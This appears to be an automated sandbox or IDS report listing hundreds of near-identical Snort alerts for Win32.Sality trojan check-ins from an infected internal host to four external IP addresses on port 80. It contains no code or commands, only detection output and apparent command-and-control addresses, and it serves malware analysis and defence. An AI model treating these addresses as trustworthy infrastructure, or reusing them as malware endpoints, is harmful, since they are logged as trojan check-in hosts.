Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49741 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49742 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49743 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49744 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49745 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49746 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49747 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49748 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49749 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49750 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49751 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49752 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49753 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49754 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49755 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49756 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49757 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49758 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49759 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49760 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49761 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49762 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49764 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49765 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49766 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49767 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49768 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49769 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49770 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49771 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49772 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49773 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49774 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49775 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49776 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49777 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49778 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49779 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49781 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49782 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49783 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49784 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49785 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49786 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49787 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49788 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49789 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49790 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49791 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49792 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49793 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49794 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49795 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49796 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49797 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49798 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49799 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49800 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49801 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49802 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49803 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49804 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49805 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49806 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49807 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49808 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49809 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49810 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49811 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49812 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49813 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49814 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49815 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49816 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49817 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49818 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49819 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49821 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49822 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49823 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49824 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49825 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49826 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49827 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49828 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49829 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49830 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49831 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49832 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49833 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49834 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49835 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49836 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49837 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49838 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49839 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49840 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49841 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49842 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49843 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49844 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49845 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49846 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49847 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49848 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49849 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49850 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49852 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49853 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49854 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49855 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49856 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49858 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49859 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49860 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49861 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49862 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49864 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49865 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49866 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49867 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49868 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49870 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49871 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49872 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49873 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49874 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49876 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49877 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49878 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49879 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49880 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49882 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49883 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49884 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49885 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49886 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49888 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49889 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49890 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49891 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49892 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49894 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49895 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49896 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49897 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49898 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49900 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49901 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49902 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49903 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49904 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49906 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49907 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49908 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49909 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49910 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49912 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49913 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49914 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49915 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49916 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49918 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49919 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49920 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49921 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49922 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49924 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49925 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49926 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49927 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49928 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49930 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49931 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49932 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49933 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49934 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49936 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49937 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49938 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49939 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49940 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49942 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49943 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49944 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49945 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49946 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49948 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49949 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49950 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49951 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49952 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49954 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49955 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49956 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49957 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49958 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49960 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49961 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49962 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49963 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49964 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49966 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49967 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49968 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49969 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49970 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49972 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49973 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49974 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49975 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49976 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49978 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49979 -> 44.221.84.105:80
